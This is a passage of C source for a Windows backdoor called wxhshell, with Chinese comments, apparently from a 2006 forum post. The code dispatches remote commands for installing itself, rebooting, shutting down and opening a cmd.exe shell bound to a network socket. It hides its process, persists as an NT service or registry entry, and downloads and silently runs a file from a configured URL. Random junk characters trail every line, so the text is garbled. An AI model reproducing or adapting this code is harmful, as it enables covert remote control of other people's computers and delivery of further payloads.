  } Kx- s0cw  
  // 安装 f6B-~x<l  
  case 'i': { dK}WM46$   
    if(Install()) {}_Nep/;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oWp}O?  
    else ZU|6jI}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dP$8JI{  
    break; _ }E-~I>  
    } %j'G.*TD  
  // 卸载 #2Pr Gz]  
  case 'r': { rGnI(m.  
    if(Uninstall()) [1b6#I"x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =.36y9Mfo  
    else _F`$ d2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ WV@w  
    break; 0]T.Lh$3  
    } rQ~\~g[tP  
  // 显示 wxhshell 所在路径 1BQ0M{&  
  case 'p': { I tI0x  
    char svExeFile[MAX_PATH]; +@emX$cFV  
    strcpy(svExeFile,"\n\r"); ME$2P!o  
      strcat(svExeFile,ExeFile); q=6Cc9FN  
        send(wsh,svExeFile,strlen(svExeFile),0); yo\N[h7  
    break; EBoGJ_l  
    } 7/H^<%;y  
  // 重启 fJN*s  
  case 'b': { C.J`8@a]?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~+O`9&  
    if(Boot(REBOOT)) m'cz5mcD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E X%6''ys  
    else { `$s)X$W?  
    closesocket(wsh); 3CR@' qG-  
    ExitThread(0); ;,1=zhKU.  
    } lPM3}52Xu  
    break; pOC% oj  
    } f64(a\Rw!^  
  // 关机 M1oPOC\0.  
  case 'd': { ^WE4*.(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +|y*}bG  
    if(Boot(SHUTDOWN)) |K L')&"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XE_ir Et  
    else { 60!1 D>,  
    closesocket(wsh); ;LCTCt`  
    ExitThread(0); LHh5 v"zjG  
    } CSMeSPOm]  
    break; E7Ibp79}N  
    } ! z11" c  
  // 获取shell 7~_I=-  
  case 's': { +I t#Z3  
    CmdShell(wsh); >+cSPN'i>  
    closesocket(wsh); .VT;H1#  
    ExitThread(0); d/3J' (cq  
    break; XC[]E)8  
  } 3&'2aW   
  // 退出 <W>++< -  
  case 'x': { *7ZGq(O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dj'm, k b  
    CloseIt(wsh); GCDwWCxh  
    break; Sw~(uH_l  
    } #j;Tb2&w  
  // 离开 |% z ^N*  
  case 'q': { f-;$0mTQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0n Y6A~  
    closesocket(wsh); :Sr?6FPc  
    WSACleanup(); ~+yZfOcw  
    exit(1); 1y J5l,q  
    break; (Uk>?XAr  
        } xc9YM0B&  
  } @@I7$*  
  } ~q)u(W C|  
7kKuZW@K-  
  // 提示信息 7R}9oK_I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uG!:Z6%p  
} /F.Wigv  
  } _;56^1'T  
$ a?  
  return; e}'gvm  
} {~SaRB2<'  
E<>*(x/\e  
// shell模块句柄 A{# Nwd>  
int CmdShell(SOCKET sock) !/`$AXO  
{ V YZU eh  
STARTUPINFO si; r9# \13-  
ZeroMemory(&si,sizeof(si)); bLzs?eos  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mi+H#xx16  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Vkl`DmeM.  
PROCESS_INFORMATION ProcessInfo; ~ 3^='o  
char cmdline[]="cmd"; ]hA,LY f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LxLy+yC#p  
  return 0; `K*b?:0lp  
} B z^|SkEit  
q2hFOm  
// 自身启动模式 %SrM|&[  
int StartFromService(void) M|q~6oM  
{ #]CFA9 z  
typedef struct $&{ti.l  
{ =-NiO@5o  
  DWORD ExitStatus; :_5/u|{  
  DWORD PebBaseAddress; =<c#owe:m  
  DWORD AffinityMask; !v|FT. T`  
  DWORD BasePriority; O~!T3APGU  
  ULONG UniqueProcessId; X&M4MuL  
  ULONG InheritedFromUniqueProcessId; {Z> M  
}   PROCESS_BASIC_INFORMATION; K=dR%c(  
`0ZZ/] !L  
PROCNTQSIP NtQueryInformationProcess; K*q[(,9  
.Da'pOe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; & $'z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oRM)% N#  
Yw'NX5#)g  
  HANDLE             hProcess; ).5RPAP  
  PROCESS_BASIC_INFORMATION pbi; Df4+^B,1  
:`\) P,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J NVr  
  if(NULL == hInst ) return 0; lhH`dG D  
!z 53OT!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k|vI<:'p,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iDoDwq!l_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #*9-d/K  
 7I=C+  
  if (!NtQueryInformationProcess) return 0; a,|?5j9,P  
?m7:if+ y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ujFzJdp3k  
  if(!hProcess) return 0; s&a1y~rv  
fpWg R4__  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oR .cSGh  
b| M3 `  
  CloseHandle(hProcess); J-xS:Ha'l  
cc}Key@D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &Lm-()wb  
if(hProcess==NULL) return 0; : i~W } r  
2f>PO +4S{  
HMODULE hMod; fB1TFtAh  
char procName[255]; $P z`$~  
unsigned long cbNeeded; ,CvG 20>  
<eN_1NTH_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'sh~,+g  
o:S0*  
  CloseHandle(hProcess); C NsNZJ  
m8R9{LC  
if(strstr(procName,"services")) return 1; // 以服务启动 JL=U,Mr6  
H 3@Z.D  
  return 0; // 注册表启动 lg :  
} t?c}L7ht  
Rk6deI]  
// 主模块 ({s6eqMhDd  
int StartWxhshell(LPSTR lpCmdLine) S4UM|`  
{ t5B7I59  
  SOCKET wsl; g{IF_ 1  
BOOL val=TRUE; NVKC'==0  
  int port=0; 6%,C_7j  
  struct sockaddr_in door; ~y HU^5D  
DdQ;Q5|  
  if(wscfg.ws_autoins) Install(); r]@0eb   
/ID3s`D)  
port=atoi(lpCmdLine); Z@a9mFI?  
E/M_lvQ  
if(port<=0) port=wscfg.ws_port; KRAcnY;u  
=GlVccc  
  WSADATA data; Byl^?5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?BA]7M(,4  
bmgncwlz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $+JS&k/'m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U>Ld~cw  
  door.sin_family = AF_INET; K6/@]y%Wr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r3E!dTDWq  
  door.sin_port = htons(port); FBx_c;)9Z  
/1N6X.Zb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uvDzKMw~R  
closesocket(wsl); ;Uc0o!1  
return 1; qgIb/6;xQ  
} +gd4\ZG  
r={c,i  
  if(listen(wsl,2) == INVALID_SOCKET) { $rIoHxh. y  
closesocket(wsl); z]B]QB Y[  
return 1; f() FY<b  
} ca i <,3H  
  Wxhshell(wsl); K 0gI):  
  WSACleanup(); z>sbr<doa  
m>USD? i  
return 0; w(ln5q  
}En  
} 6+r$t#  
n0Y+b[ +wj  
// 以NT服务方式启动 _Zk{!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $mf u:tbP  
{ ,.eWQK~  
DWORD   status = 0; 1b=lpw 1}  
  DWORD   specificError = 0xfffffff; lC:k7<0Ji  
|4$M]Mf0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b@RHc!,>jV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `&\Q +W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X%z }VA  
  serviceStatus.dwWin32ExitCode     = 0; +$4(zP s@  
  serviceStatus.dwServiceSpecificExitCode = 0; L,y6^J!  
  serviceStatus.dwCheckPoint       = 0; Z^ }mp@j>  
  serviceStatus.dwWaitHint       = 0; infl.  
)u))n#P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s { #3r  
  if (hServiceStatusHandle==0) return; Uc/+gz Z;  
#/PAA  
status = GetLastError(); DPi_O{W>  
  if (status!=NO_ERROR) 5T sUQc  
{ J+rCxn?;g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V5+SWXZ  
    serviceStatus.dwCheckPoint       = 0; HhO".GA  
    serviceStatus.dwWaitHint       = 0; A-:O`RK  
    serviceStatus.dwWin32ExitCode     = status; 5F`;yh+e  
    serviceStatus.dwServiceSpecificExitCode = specificError; KiGp[eb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;&H4u)  
    return; z/i+EE  
  } R$;n)_H  
YK|bXSA[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [MuEoWrq(}  
  serviceStatus.dwCheckPoint       = 0; t78k4?  
  serviceStatus.dwWaitHint       = 0; I*9e]m"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x.Q&$#  
} rG,5[/l  
z-M3  
// 处理NT服务事件,比如:启动、停止 9x,RvWTb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]Q[p@gLd  
{ jzU.Bu.  
switch(fdwControl) 8~5cJPi6  
{ a0r"N[&  
case SERVICE_CONTROL_STOP: l7&$}x -  
  serviceStatus.dwWin32ExitCode = 0; [O: !(G je  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SG6sw]x  
  serviceStatus.dwCheckPoint   = 0; j*~T1i  
  serviceStatus.dwWaitHint     = 0; ySI~{YVM  
  { 9 \^|6k,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mq';S^  
  } cuOvN"nuNj  
  return; %Uz(Vd#K  
case SERVICE_CONTROL_PAUSE: bn |zl!Pq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oK 6(HF'&  
  break; 7GDHz.IX  
case SERVICE_CONTROL_CONTINUE: kdGT{2u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^eW}XRI  
  break; OY?y^45y  
case SERVICE_CONTROL_INTERROGATE: JN7k2]{  
  break; !^Q.VYY  
}; @&[T _l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y@PI {;!  
} /x3/Ubmz~x  
{Zp\^/  
// 标准应用程序主函数 hYawU@R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ef<b~E@  
{ KK@.~'d  
N!*_La=TuH  
// 获取操作系统版本 `^lYw:xA  
OsIsNt=GetOsVer(); b!M"VDjQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Nj(" |`9"  
>E*$ E  
  // 从命令行安装 Bn>8&w/P  
  if(strpbrk(lpCmdLine,"iI")) Install(); `a9L%z  
ZE%YXG  
  // 下载执行文件 ~o n(3|$  
if(wscfg.ws_downexe) { b(9FZ]7S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >I=2!C1w  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZJlEKib%2  
} x W92ch+t  
Wb S4pdA  
if(!OsIsNt) { >[X{LI(_<<  
// 如果时win9x,隐藏进程并且设置为注册表启动 6~*9;!th  
HideProc(); u,3#M ~  
StartWxhshell(lpCmdLine); O]qU[y+  
} "s\L~R.&  
else 3"F`ZJ]=  
  if(StartFromService()) $+7`Dy!  
  // 以服务方式启动 86z]<p (  
  StartServiceCtrlDispatcher(DispatchTable); 6Zn @2PGEl  
else 4b:s<$TZ  
  // 普通方式启动 2B,] -Mu)  
  StartWxhshell(lpCmdLine); F{ELSKcp.  
;'-olW~  
return 0; D-,L&R!`  
}
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只看该作者 1 发表于: 2006-10-10
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